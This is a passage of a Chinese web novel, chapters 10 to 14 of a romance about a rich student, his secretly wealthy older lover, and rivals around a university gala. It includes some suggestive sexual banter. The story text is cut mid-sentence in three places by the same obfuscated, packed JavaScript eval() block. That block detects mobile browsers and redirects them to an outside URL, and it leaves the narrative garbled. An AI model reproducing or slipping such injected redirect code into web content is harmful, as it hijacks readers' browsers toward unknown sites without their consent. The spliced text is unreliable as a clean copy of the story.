和梁凌云道别后,景沉和梁意坐观光车离开马场,到了外面停车场,他让凉意在路边等,他去拿车,梁意顺从地等在路边,不一会儿,一辆车开过来,冲他按喇叭。 他还没来得及想景沉怎么会开大众,车窗落下,露出一张年轻人的脸,是在这里做马球陪打团成员中的一个人。 “你好,梁意先生吗?” 梁意爱答不理地“嗯”了一声。 得到肯定的答案,年轻人露出一个笑脸:“霍先生说您要进城,让我捎您,上车吧。” 梁意:“……” 景沉大步流星地到了停车的地方,他开的还是奚时那辆绿膜帕拉,刚坐上车,奚时的消息又来了。 你咋不上天:怎么又收不到消息了? 你咋不上天:哥你等等嗷,我再让柜员给我换台手机。 “……” 景沉很想给他回复说不定是信号问题,你干脆换颗卫星吧。 他指尖在手机屏幕上轻轻敲击,半晌,他认命地给人回复。 景沉:在哪?定位发我。 11. 第 11 章 奚时刚要找手机店的人换手机,又收到了景沉的回复,开心地把自己的定位发给他。 然后他心情好,回去又干了几杯酒,开始在工作室的群里散红包,要不是被谢河抢了手机,零花钱里的十几万估计全被他嚯嚯了。 等景沉到地点时,奚时工作室那些员工已经散了,只剩下他跟谢河。 谢河本来要打车把他送回去,他不肯,说有人来接他。 谢河不放心喝醉的奚时,怕他发癫跑大街上搞唱跳明天上头条,所以要亲眼看到他被接走才放心。 奚时收到景沉发来“我到了”的消息后,立刻屁颠屁颠地拉着谢河出去。 谢河本以为接他的人是他哪个富二代朋友,或者是奚家的司机,结果看到气场逼人的景沉时,愣是有点怵。 这看着像长辈啊。 “你来啦。” 一日不见如隔三秋,奚时看到不知为何又帅出一个新高度的景沉,很想直接扑过去抱他。 不过即便喝醉了,他也还记得和景沉的约定,在认识的人面前装兄弟,于是克制地敛下冲动,给谢河介绍:“我哥,嘿嘿,帅吧。” 谢河:“......帅。” “哥,他是我高中同学,谢河。” 景沉冲他点点头:“你好。” 谢河只觉得男人目光落在自己身上,气势很足,有种被压得抬不起头来的感觉。 “你好,哈哈,那人就交给你了,我先走啦,拜拜。” 也不等奚时说话,谢河脚底抹油,飞快跑了。 “咦,他跑起来怎么有六个腿?” 奚时看着谢河跑走的背影,先是疑惑,随即喝道:“妖孽!从我哥们身上下来!” 景沉:“......” 景沉一把拉住撒丫子要去追的醉鬼,把人拽回车上,奚时被他推进副驾,顿时觉得头晕眼花,眯起眼看向景沉。 “哥,你怎么变成三个了哥?” 接着,他想到什么,哭唧唧地说:“不,不行,一个你我已经受不了了,三个你我会菊花残的。” 景沉:“…………” 这什么虎狼之词。 景沉黑着脸,伸手帮他绑安全带,奚时像被轻薄的良家妇女,嘴里叫着不要不要,抱住胸不肯配合。 眼看路人投来奇怪的目光,景沉附在他耳边,低声说了句什么,奚时顿时像被施了定身术。 景沉趁机给他系好安全带,关上车门,坐上驾驶座后,奚时才回过神来,脸一下变得爆红。 “哥,你,你……你变态!” 刚刚景沉在他耳边说,你也可以用嘴,嘴…… 啊啊啊! 车子开出去老远,奚时才消化掉这句话,看向车窗外飞速后退的街景,想到什么,说:“反了反了,不是这里。” “没错,”景沉面无表情地说,“这里是周围最近的五星酒店。” 奚时见他就想睡他,景沉是不会去那种快捷酒店小旅馆之类的,但燕大附近全是这种,估计是考虑大学生开房的经济实力。 “不去酒店,我带你去个好玩的地方。” 奚时打开手机,半晌才点开导航,景沉看了眼目的地,有点偏。 “去这里做什么?”他问。 奚时嘿嘿傻笑:“到了就知道了。” “……” 景沉垂眸看他,见他一脸神秘兮兮,没有多问,调转方向,往奚时指的目的地开去。 这地方比马场还偏,已经是燕京的郊外了。 要不是信任奚时,景沉要怀疑是不是有人要绑架他讹钱,把他骗这里来了。 奚时好像对这里挺熟,轻车熟路地把他带进一个小公园,借着不算明亮的路灯,上了一个小山包。 景沉脑海里莫名跳出来一个词:坟头蹦迪。 ……别说,就奚时喝醉酒这精神状态,真干得出来。 “哥,看前面。” 奚时的话刚落音,前面空旷的地方,忽然炸起一朵烟花。 接着是第二第三朵。 绚丽的烟花很快连成一片,炸出了一场火树银花不夜天。 轰鸣的炸响声中,奚时扯了扯景沉的袖子。 景沉偏头看他,四目相对,空气中涌动着暧昧的气氛。 景沉看着奚时在烟花映衬下,愈发朦胧绝美的轮廓,受了蛊惑似的微微低下头,正欲亲吻他,却被奚时一把推开。 还没来得及错愕,奚时冲他抛了个媚眼,大声说:“快来和我一起跳舞吧。” 然后……他原地跳起了踢踏舞。 “……” “…………” 烟花还在继续炸响,小山包上尘土飞扬,景沉表情凌乱。 太炸裂了。 怎么会有人喝醉酒精神状态如此狂放。 好在奚时只是自己癫,没有拉着景沉一起癫。 景沉一脸麻木地看完了这场烟花秀兼踢踏舞表演,看到后面竟还觉得在烟花映衬下跳舞的奚时洋溢着的笑脸很好看。 终于,烟花秀以一朵满天爆开的垂柳作为结局,停止了燃放,奚时也有模有样地朝他行了个骑士礼谢幕,又歪头朝他笑道:“好看吗?哥。” 景沉:“……挺好看的。” 就是希望他明天起来不会社死到换个星球生活。 奚时估计跳得太用力了有点晕,景沉过去扶住他,他顺势双手搂住他的脖子,看着他说:“今天我不是故意不跟你去建海的,我真的有事,你不要生气了行不行?” 景沉一怔,原来,他忽然带他看烟花秀,是补偿他今天没有陪他去建海这事么。 “我没有生气。”景沉硬邦邦地说。 奚时没说话,就这样面对面地看着他,随即闭上眼,抬起头凑近他。 这下氛围对了,景沉垂下眼眸,看着他越凑越近的红润嘴唇,也微微阖上眼。 下一秒,四唇相…… “不行了,我好晕。” 奚时忽然捂住嘴跑到一边,开始狂吐。 景沉:“………………” 毁灭吧,今晚他再被这醉鬼蛊惑就是狗。 回到市区已经半夜一点了,奚时一沾到床就睡得不省人事,根本没精力再作妖。 第二天,奚时是被尿意憋醒的,他迷迷糊糊地摸到洗手间放水,随着大脑逐渐清醒,关于昨晚的记忆也一帧帧地在他脑海闪过。 啪啦。 噼里啪啦...... 脑子里有什么炸开了。 那是他的面子,还有里子,统统炸没了。 地上为什么不会凭空裂条缝,让他钻进去。 景沉在奚时起来的时候就醒了,他本来怕他太尴尬打算装睡,结果发现这人进去了快半个小时都没出来,生怕他出什么事情,走过去敲门。 “别躲了,我不嘲笑你,出来。” 奚时蹲在马桶上蛋很疼。 你说出这句话就是对我最大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048949|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嘲笑了。 “你说什么呀哥,我听不懂呢,我在洗澡。” “……” 装失忆,挺好的。 “那行,你洗,柜子里有干净的衣服,我去准备早餐。” 嗯? 奚时这才发现他所处的地方好像并不是酒店。 也不是他家的卫生间。 那么,景沉是把他带回家了?! 奚时这下顾不得尴尬了,胡乱冲了个澡,出来看到的就是一个干净明亮的房间,窗明几净,说不出的舒适。 他从衣柜里拿出一套衣服穿上,估计是景沉的尺寸,有点长,勉强能穿。 穿好后,他打开房门,先偷感很重地探头探脑看了一会,确定景沉不在客厅后蹑手蹑脚溜出去,打量起这房子来。 房子不大,但装修得非常精致,格调很高,两室一厅,采光极佳,一看价格就不菲,看起来像在那种高档写字楼上班的精英会租的房子。 “洗好了?” 景沉的声音响起,吓了奚时一跳,转过头,发现他端着两个餐盘从厨房里出来。 看到景沉,奚时脑子里关于昨晚的记忆又疯狂涌现。 奚时忍着脚趾扣地的尴尬,装出若无其事的样子问:“这是你家?” “嗯,刚用你给的包养费租的。” 景沉把餐盘放在餐桌上说。 这套房子就在他公司的旁边,不过房子就是他的,有时候为了项目忙得没日没夜,又不想在通勤堵车上浪费时间,他就会过来这里休息。 把奚时带到这里来,是他实在不想以后每次都出去开房,诸多不便。 奚时心说难怪这里干净得和样板间一样,没有什么生活气息,原来才搬进来。 舍得花钱,挺好的。 “吃饭吧。”景沉招呼他。 奚时昨天吃的晚上基本全吐掉了,这会儿正饿得饥肠辘辘,不客气地在餐桌前坐下来,看到桌上餐盘里的早餐,问:“你做的?” 餐盘里,有清炖鸡汤,现烤披萨,现打果汁,还有一份热腾腾的鲜虾小馄饨。 景沉:“买的。” “哦……” 奚时坐下来,拿起汤匙吃馄饨,别说,这馄饨做得真好,不知道用什么汤煮的,很鲜美。 “对了哥,下周五你有空吗?”奚时吃着馄饨问。 景沉的手一顿:“怎么?” 这周还没过完,又要约下周的滚床单了?(bushi “就……下周五我们新生欢迎庆典,我有个表演,你要不要来看嘛。” 本来奚时并没打算让景沉来看,多难为情啊,但他一想到自己昨天那段惊骇世俗的踢踏舞,就头皮发麻脚趾扣地。 必须来点正经高级的,洗掉景沉对他的二逼印象。 景沉:“……” 景沉手中的汤匙差点掉碗里。 “你们学校的新生这么快军训完了?” “是啊,他们比我们早开学一周,下周结束刚好三周,就结束了。” “而且,”奚时兴致勃勃地说,“我听说燕京的首富有侄子还是啥的亲戚也是新生,你说他有没有可能也被请来呢。” 景沉挑眉:“你还对首富感兴趣?” “也不是啦,主要是他那么神秘,而且不是说他很凶残嘛,我很想看他是不是真的鲨人不眨眼,吃人不吐骨。” 景沉:“……” 别人他不知道,吃你确实不用吐骨头。 12. 第 12 章 景沉最后没说去也没说不去,只说要看那天有没有空。 两个人在景沉的房子里厮混了一天,奚时回学校时,两条腿都在打摆子。 老男人技术越来越好了,持久能力也越来越惊人了,奚时一面很享受,一面身体上又吃不消,真切感受了一把痛并快乐着的感觉。 刚回到宿舍门口,奚时就闻到了一股能把人香迷糊的烧烤香味。 舍友都在,郭昊拿着一个烤鸡翅在啃,看到奚时回来,赶紧招呼他。 “奚哥回来了,快来吃网红烧烤,巨巨巨好吃。” 奚时回来之前已经在景沉那边吃过晚饭了,也不知道他叫的什么外送,丰盛又好吃,这会儿根本提不起食欲。 不过他还是有点好奇地问:“什么网红烧烤?” “江城最近爆火的那家色香味弃权啊,洋洋跟他男朋友去江城玩给我们带的,他刚在宿舍群艾特你回来吃了,你是不是又没看手机。” 色香味弃权? 好像奚时刷短视频有刷到过,因为名字太奇葩了他有印象,最近确实爆火。 本来就没食欲,听到洋洋他男朋友几个字更反胃了。 不就是邵寻那煞笔吗? “你们吃,我刚吃饱了。” 另一个室友肖楠说:“尝尝啊奚哥,我们还是托洋洋的福,才能吃到这么好吃的烧烤,你看他们店这招牌烤鸡翅,外酥里嫩,一口下去在爆汁,太香了。” 说着,他咬了一口,那鸡翅外皮烤得焦香,但一口下去全是鲜美的汁水,看起来确实很美味。 “谢谢,我真的吃饱了。” 不仅不想吃,甚至现在看到油腻的有点想吐。 性别一换,他就是被景沉搞怀孕了。 室友看他确实没食欲的样子,也不勉强。 郭昊一边吃,一边感叹:“话说这打包技术也太牛逼了吧,江城回来坐飞机都要一个小时了,加上路上耽搁,怎么也要两个小时,是怎么做到还保持这么脆嫩的。” 汪洋故作矜持地说:“不是打包技术牛逼啦,我们坐的是专机,路上基本没耽搁时间,飞机降落时已经有点凉掉了,我就按照烧烤店老板的吩咐,在飞机上的微波炉里叮了一会,才有这口感。” 这话把郭昊和肖楠都听傻了。 “专、专机?是我理解那个意思吗?” 汪洋点点头:“嗯,昨晚我刷到色香味弃权的视频,馋得不行,我对象就安排自家专机送我们直达了。” 郭昊和肖楠目瞪口呆。 有钱人的快乐,他们真想象不到。 半晌,郭昊才磕磕巴巴地说:“你对象好有钱啊。” “有钱还帅,难怪能找到洋洋你这么好的对象。” 郭昊和肖楠不知道奚时跟邵寻有过一段,根本不懂他们现在说的话题有多敏感,不留余力地吹了一通彩虹屁。 这一刻,汪洋的虚荣心到达了顶点,不由自主地看向已经爬上床躺着的奚时。 他想从他身上捕捉到一点悔恨,不甘,甚至是怨毒的情绪。 令他失望的是,并没有,奚时正盯着手机不知道在看什么,时不时还傻乐一下,看样子好像根本没听他们在说什么。 奚时确实没听他们说什么。 鉴于景沉活这么好,把他这个金主爸爸伺候得这么爽,奚时打算送个名贵点的礼物给他。 对待情人,他很大方的。 他在看某个知名高奢品牌手表的官网,他们最近推出了一款新机械手表,款式和工艺他都很喜欢,价格也适中,才十万出头。 从他的观察来看,景沉应该是工地的工程师或者设计师一类的,戴这个价位的手表也不会太高调引人注目。 而且这手表很有范,奚时光是想象一下景沉穿上他买的西装,戴上这个手表那个范儿。 嘿嘿。 嘿嘿嘿。 对了,再给他买两套西装!不能每次都穿那套啊。 奚时又兴致勃勃地打开了某款正装品牌的官网。 以前他看班上那些女同学沉迷于养娃,为了养个娃花钱如流水,比她们自己的生活花销还大,他还纳闷这有什么好玩的。 现在代入一下养景沉,那可太好玩了哈哈哈。 —— 随着校庆的时间拉近,奚时每天傍晚下课后,都要花时间去学校的音乐教室练习。 他表演的节目是钢琴弹唱,他负责弹,他们班文艺文员负责唱。 傍晚,邵寻来接汪洋出去吃饭。 和汪洋公开关系后,他也说不好是什么心态,每天都借着接汪洋出去吃饭约会的名义来燕大,但总也碰不到他想见的人。 汪洋在开学典礼上也有表演,是开场演唱中某部分英文唱段,他对歌不大熟,每天都去音乐教室练习,邵寻也是到音乐教室接他。 “我们是不是走反了,这里好像不是出去的方向。” 邵寻见汪洋把他往另一个方向带,问道。 汪洋眼中闪过一丝狡黠,说:“我们从北门出去嘛,我想喝那边的双皮奶了。” “那行吧。” 二人往北门方向走,经过一间教室时,他们听到里面传来一阵动听的钢琴弹奏声,弹奏的曲目是周董的《告白气球》。 听得出弹奏的人技法娴熟,每一个音符都恰如其分,感染力十足,随着欢快的琴声响起,仿佛空气里都是粉色的泡泡。 汪洋微微一震,随即快走几步走到那个琴声响起的教室窗前往里看,看到里面的人时,不可置信地瞪大眼。 怎么会......明明昨天他经过时,奚时还弹得磕磕绊绊,难听得要命,今天怎么就跟变了个人一样? “怎么了?” 邵寻也走过来,正要凑过去看,被汪洋往外推。 “没什么,走吧。” 不过邵寻已经看到了里面正坐在教室里弹钢琴的人,眼睛微微瞪大。 “奚时。” 可惜门窗紧闭,钢琴的声音又不小,奚时根本没听到。 汪洋听到他这声不掩惊喜的叫声,抿了抿嘴。 他今天就是故意带邵寻走这边的,他看得出来邵寻对奚时念念不忘,所以故意想让邵寻听听奚时弹钢琴有多么难听,毁灭一下邵寻心中对奚时的滤镜,这样子也可以衬托出他唱得有多好听。 谁知道,明明他昨天还弹得跟拉稀一样断断续续,今天忽然就顺畅了。 他甚至都怀疑奚时在故意演他。 当然,他不会知道的是,昨天奚时弹得不好,是因为对这首曲目不熟,加上很久没碰钢琴了,才会磕磕绊绊,负责唱的文艺委员走后,他独自练习了许久,终于把曲子练熟了,今天自然就弹得好了。 而且弹得好还不行,今天文艺委员走后,他又留下来练习,希望能在开学典礼上有一个完美的表演。 “走吧,没什么好听的,我饿了。” 邵寻有点恋恋不舍。 这时,迎面走来一个年轻的男人,现在天色都已经完全暗了,这个男人还戴着一副墨镜,看样子就是一拽哥。 他走到窗户边看了眼教室里面,似乎确定了要找的人,正要抬手敲门,被汪洋催促着快走的邵寻不大敢确定地喊出那个称呼。 “霍三少?” 霍思远把墨镜往头上一推,看向叫他的人。 他微眯着眼:“邵二?” 邵家虽然显贵,但在霍家这种首富面前完全不够看。 因此,邵寻的态度很谦卑:“是我,没想到在这里碰到你,你是来找谁吗?” 霍思远想起前两天在音乐会时听到的八卦,奚时被邵家二公子退婚,然后被人排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048950|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤嘲笑,要不是他小叔请出叶四爷来救场,奚时就要被人嘲笑到底。 好好好,就是你小子是吧。 霍思远鼻孔里哼出来一股浊气,说:“我老大奚时上了一天课脚疼,我来给他捏腿。” 邵寻:“......?” 霍思远拿出霍三少的气势,斜睨着邵寻,冷冷地说:“你们既然都分手了,就少来跟他纠缠不清,不然老子削你!” 邵寻一怔。 霍思远已经拧开教室门,临进去前,又补了一句:“以后老子的场子你别来,老子看到你就烦。” 说着,他推门进去,一句说话的机会都不给邵寻。 邵寻脸色一下变得煞白。 要知道,霍三少最擅交际,他的场子几乎网罗京市所有权贵,他本来就跟他哥斗处于下风,如果再失去这个交际圈子,那他几乎没有胜算…… 而且,奚时是怎么傍上霍三少的? 邵寻死活想不明白,浑浑噩噩地离开了这里。 —— 霍思远进去后没打扰奚时弹琴,一直等到他弹完,才拍着手说:“弹得真好,不输那些世界级钢琴大师。” 奚时:“……” 你咋不说我不输给全宇宙的钢琴大师呢。 “外面有人吗?”奚时刚刚隐约听到了说话声。 “没有啊,估计是狗叫吧。” 霍思远不以为意地说完,把手中的东西递给奚时:“你要的鞋。” 奚时立刻顾不上其他了,赶紧接过来,小心打开袋子和包装盒,露出里面的球鞋,眼睛都瞪大了。 他小心翼翼地把鞋子拿出来,果然和朋友圈看到的一样,超帅。 霍思远给他送的是某款球鞋品牌的纪念款BL47,限量发售,奚时当时网卡了没抢到,而且觉得也没多好看。 结果昨天收到第一批货的人在朋友圈发开箱视频和上身效果,帅得一批,奚时疯狂心动,就发朋友圈想高价收购一双。 这个霍思远说自己买到了两双,刚好跟他一个尺码,可以分一双给他,而且是原价出给他,不抬价。 奚时当然没意见。 只是他不知道这个霍思远为什么这么闲,非要自己送来。 不会是还没对景沉死心吧。 奚时翻来覆去看了一会,发现有点不对劲。 “居然是47的典藏版,这……你抢到的?” 霍思远心说典藏版全球限量10双,我要是抢得到,怎么可能让给你。 这是他小叔昨天看到奚时的朋友圈后,不知道从哪里弄来的,假他之手送给奚时。 霍思远从没见他小叔对谁这么上心过。 看得他都要嫉妒了。 他小叔还让他想办法自然而然加奚时微信,装作很不在意地样子卖给他。 殊不知他早跟奚时加上好友了。 不过这样他跟奚时的关系就在他小叔那里过了明路,以后可以不用偷偷摸摸地接近他了。 霍思远忍住红眼病,努力轻描淡写地说:“我是什么身份,小事情啦。” 奚时没多怀疑,越看越喜欢,有点爱不释手了,说:“那我多给你转一万吧,原价买我不好意思。” 霍思远有钱是他的事情,不代表他可以理直气壮地占人家便宜。 “不用,说了原价给就是原价给。” 多收一分钱他小叔都会毙了他。 霍思远说完,想到什么:“你要是觉得过意不去,你给我一张你们开学典礼的门票吧。” 他已经听到他小叔让秘书推掉周五晚上的应酬了,估计要来。 而他堂弟作为大一新生,肯定在现场。 虽然大概率他小叔不会让他堂弟看到,可万一来个世纪大会面呢。 他都不敢想象会有多刺激哈哈哈。 13. 第 13 章 奚时跟燕大学生会的负责本次欢迎会的人熟,要一张门票并不是什么大问题。 不过他心机地把给霍思远的和景沉的分开了,他可没忘记霍思远很可能觊觎景沉。 转眼到了开学典礼这天。 燕大的开学典礼在校体育馆举行,要上台表演的人中午就要过去,下午彩排一遍,以防晚上出什么乱子。 奚时过去时后台闹哄哄的,女生们在化妆换表演服装,还抓着表演的男生化,男生们除了特别直男的不能接受化妆,大部分都不排斥。 甚至还主动要求要化得帅一点,在刚入学的学妹心中占据一个好印象,获得优先择偶权。 奚时刚到后台的休息室,就硬被跟他搭档钢琴弹唱的文艺委员按着化了妆,化完,她又去化妆箱里翻找自己芭比粉的口红,要给奚时用上,吓得奚时顿时脚底抹油转身就跑。 从文艺委员的魔爪下逃脱后,奚时在后台找了个没人的休息室,掏出手机。 他找角度拍了张自拍,发给景沉。 你咋不上天:我现在是不是帅得可怕? 你咋不上天:是不是多看一眼都想把我推倒了XXOO再OOXX?(媚眼) 景沉:...... 景沉:化妆了? 你咋不上天:嗯啊,你什么时候过来? 你咋不上天:一周不见,好想念你的胸肌腹肌肱二头肌啊。 景沉:…… 景沉:我今晚在外面过不了夜。 你咋不上天:QAQ 你咋不上天:我有小情绪了,我不开心了,我要嘤嘤嘤了。 景沉:乖,明晚陪你。 你咋不上天:穿西装打领带那种。 景沉:好。 奚时给景沉新买的西装已经到了,今天景沉过来就可以送给他,明天刚好可以穿。 他也不知道自己为什么会有这么严重的西服控,反正只要景沉穿西装,他就会特别激动。 特别是景沉穿着西装帮他弄,他十几分钟就能丢盔弃甲…… 不能再想了,再想要被马赛克了。 奚时没躲多久就被叫出去彩排了,他的人缘挺好的,跟后台许多人都认识,不少人跟他打招呼。 “学长,你今天这身也太帅太犯规了,还给不给我们机会啊。” “完了完了,被学长这身一衬托,我就失去大一学妹的择偶权了。” “放屁,就你那熊样,不被衬托也没择偶权。” “我就不同了,学长,你缺对象吗?你看我怎么样,有资格拿一张爱的号码牌吗?” 奚时被这群男生逗得直笑,去年的时候他还是大家口中的小学弟,一眨眼他就成了学长了,不得不说大学时光过得真快。 同样在后台准备的汪洋把这一切都看在眼里,不屑地撇了撇嘴。 真虚伪。 彩排进行得很顺利,结束后大家胡乱吃了点晚饭,就要准备晚上的表演了。 六点的时候,景沉给他发消息说到了。 你咋不上天:在哪个门,我去接你。 景沉:我在你们体育馆的停车场。 你咋不上天:? 你咋不上天:我们学校不允许社会车辆进入啊,你怎么进来的O。o 景沉:在门口刚巧碰到那个霍三少,他帮我打了个招呼。 奚时顿时警铃大作。 你咋不上天:你们在一块? 景沉:没有,进来就分开了。 奚时松了口气,王八蛋霍思远,敢抢他男人,他就,就…… 他也不能怎么样,好气。 景沉也松了口气。 好险,差点露馅。 奚时跟景沉开了位置共享,去停车场找他。 到了地方,他一眼看到了自己那辆原谅色的帕拉梅拉,不得不说这车给景沉是给对了,他出行方便了许多。 但是,现在站在车面前那个人,他却有点不敢认。 男人穿着一件条纹的polo衫,西装裤,是之前网络上很火的穿得成熟点的样子,爹味十足,看上去跟他们系主任一个辈了。 “哥?” 奚时犹豫出声,听到他的声音,男人转过来,果然是景沉。 前面看,更炸裂,要不是有景沉颜值撑着,整一个油腻大叔。 额……汗。 绕是奚时再迷恋景沉的外表,也被他这幅打扮震撼到了,原本想扑上去抱他的动作都停住了。 下不了手,根本下不了手。 他会觉得自己在抱系主任。 “哥,你怎么穿成这样啊?” 景沉看了眼自己身上的衣服,问:“很难看吗?” “也......还好,”奚时违心地说,“别有一番风味。” 情人揭开马甲是系主任的味也算风味吧。 “今天办点事情,要装得成熟点。”景沉解释。 他没跟奚时说,他有个法律意义上的儿子,在燕大念书,今年刚上大一。 燕大管理严格,要求大一学生必须住校,他儿子平时也是遵守校规住校的,不过双休肯定要回家,这个需要监护人签免责书之类的。 景沉今天来学校,顺便就把这事情办了。 他今年才32,兼之养尊处优保养得当,看起来很年轻,所以总有人会纳闷他这个年纪怎么会有个18岁的儿子。 这是他的家事,他没必要跟人解释。 不过为免老被人猜来猜去,给孩子带来不好的影响,无论是去开家长会,还是别的需要他出面的地方,他都会穿得老气一点。 反正人家也不可能来查他身份证。 至于需要登记身份证的地方,都是用孩子爷爷的身份证登记。 “这个给你的。”景沉把手中的袋子递给奚时。 “什么?” “礼物。” 奚时心里那点纳闷顿时被喜悦取代,接过袋子,打开看了眼,发现是BL47的球鞋包装盒。 景沉轻咳了一声说:“之前看你在朋友圈发想要,就给你去别人那里买了一双。” 他先让霍思远给奚时送了典藏款,然后又觉得纪念款的虽然大众,但别人有的,奚时也必须拥有,所以又去弄了一双纪念款的。 反正这玩意,黄牛价也是两万多,他送给奚时也不违和。 奚时虽然已经从霍思远那里买到了更稀有的,可景沉给他送的,那就是独一无二的。 鞋什么的不重要,关键是景沉这份心啊! 奚时顾不上他的爹味穿着了,伸手抱住他,脑袋在他怀里蹭了蹭。 “谢谢哥,我好喜欢啊。” “喜欢就好,”景沉揉了揉他的头,才放开他说,“走吧。” 二人并肩离开停车场,却不知不远处的拐角处,汪洋举着手机,把他们这一幕拍了下来。 前几天他跟邵寻碰到了来找奚时的霍三少一句话,对邵寻来讲,犹如天降横祸。 邵寻跟他的继兄斗,原本就处于下风,如果以后进不了霍三少的交际圈,那等于直接被断送了邵家的继承权。 而且他听邵寻说,最近邵家频频遭霍家针对,估计也是那位霍三公子的功劳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048951|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍家和邵家无冤无仇,甚至还有生意上的往来,霍家忽然会针对邵家,毫无疑问是因为奚时。 奚时也不知道在霍三公子面前蛐蛐了多少邵寻和邵家人的坏话,才让他冲冠一怒为红颜。 邵寻除了退婚一事对不起奚时,并没有人品上的瑕疵,而且就算是退婚这事情,后续邵家也给出了完美的解决方案。 是奚时自己不知好歹不接受,凭什么现在又反过来报复? 汪洋觉得不能让霍三少在奚时的妖言之下对邵寻的误会越来越深,今天奚时有表演,他觉得霍三少肯定会来看,这是他能见到霍三公子的唯一机会,必须当面解释清楚。 所以他今天一直都在有意无意地跟着奚时。 结果霍三少没碰到,让他撞破了一个更大的秘密。 汪洋嘴角露出一抹嘲讽的笑,也不知道霍三少发现自己被绿了,会是什么反应。 —— 奚时把景沉安排在座位上之后,立刻马不停蹄地回后台去准备了。 燕大的体育馆很大,能容纳几千人。 不过大一新生本身就有三四千了,剩余的位置开放给校内其他想看的学生预约,奚时也只给霍三少要了一张票,景沉的位置是他用自己的学生卡预约的。 景沉在这么一群大学生中格格不入,不过他什么大风大浪没经历过,丝毫没有一点不自在。 而且,他本身就气场很足,穿上这么一身,其他学生以为他是哪个校领导。 在他周围的学生都一脸苦哈哈,愣是不敢吭一声。 为什么校领导不去前面坐啊! 学生陆陆续续入座,景沉眯着眼往大一新生那里看了眼。 这些学生刚经历完军训,晒得一个比一个黑,在体育馆不甚明亮的灯光下,更是黑得跟关公似的,他也看不出来哪个是他那个逆子。 见不到就好,见到了反而不知道怎么收场了。 表演很快开始。 奚时的节目排在第五个,他已经许久没有登台表演过了,有点紧张,不断地深呼吸,转头想跟文艺委员说话缓解一下紧张,结果发现文艺委员比他还紧张。 在几乎抖腿的紧张中,他们的节目终于开始了。 灯光暗下来后,奚时提前坐在钢琴前面,主持人播报完下台后,舞台上灯光彻底熄灭,他搭在琴键上的手指按下,发出第一个音符。 接着,一簇舞台光打在他的身上。 同时,音符从他指尖流泻出来。 观众发出一阵惊呼,先是前面的,等场内的设备把奚时投放到大屏幕上后,全场都爆发出惊呼和掌声。 特别是没见过奚时的大一新生,叫得尤其大声,脸上都是大写的惊艳。 霍思议坐在一群新生当中,一脸厌世地刷着手机。 他什么表演没看过,春晚都去现场看过了,学生表演这种草台班子真入不了他的眼。 要不是学校强制参加,他早跑路了。 听到震天欢呼时,觉得这些学生没见过世面大惊小怪。 只是前面女生尖叫着好帅大美人之类的吵到他耳朵了,心说再帅能有老子帅? 他满心不屑,抬头看向大屏幕,见到钢琴前穿着白色礼服弹琴的男生时,整个人都愣住了。 之前奚时一直是穿着衬衫和白色的西服裤,这时候他把白色的礼服外套也穿上了,加上他顶级好看的外表,坐在钢琴前弹钢琴的样子,仿佛动漫男主降临一般。 又美又不真实。 霍思议的心前所未有地狂跳不止。 只这一眼,他,恋爱了。 14. 第 14 章 霍思议几乎是眼也不眨地看完了整个表演,恨不得用眼睛把整个过程都录下来。 他的心跳没低于过120。 不仅长得好,弹得也好,一看就是有下过功夫练习钢琴的。 一首《告白气球》结束,整个体育馆都弥漫着粉色泡泡,所有人都觉得自己被美人的琴声告白了。 看着舞台灯光渐渐暗下去,美人消失在舞台上,霍思议抓住旁边男同学的胳膊。 “他叫什么名字?” “刚刚主持人报幕时说叫奚时,是大三的学长。” 奚时……奚时,朝花夕拾,真好听的名字。 这时,霍思议的手机“嗡”地震动了一下,发消息的是他堂哥霍思远。 三哥:刚刚弹钢琴那男生,你觉得怎么样? 霍思议不知道今天霍思远不知道抽了什么风,也来了现场。 只不过他们大一新生位置都是安排好的,按班级划分,他不知道霍思远坐哪里。 看到他这条消息,霍思议额角跳了跳。 霍思议:别跟我说你也对他有意思? 三哥:??? 三哥:也? 霍思议:是的,我对他一见钟情,打算追求他。 霍思议:你要是对他有意思,以后就是情敌了。 霍思远拿着手机,看到霍思议发过来这两条消息,目瞪口呆片刻后,又忍不住直接“噗”一声喷出来。 卧槽,这他妈是什么修罗发展。 他本以为今天会看到的是他堂弟发现自己爸爸给他找了个只比他大三岁的后妈,还是自己的同校学长,觉得天都塌了,又气又恼毁三观。 谁知道还会出现更离谱的发展。 他都不忍心看这父子发现自己喜欢的是同一人之后那场面了。 想想就很炸裂的程度。 果然活得久了,什么冥场面都能见到。 —— 奚时表演结束后,去后台休息室换了自己中午穿过来的常服,又用文艺委员的化妆水卸了妆,然后从后门溜了。 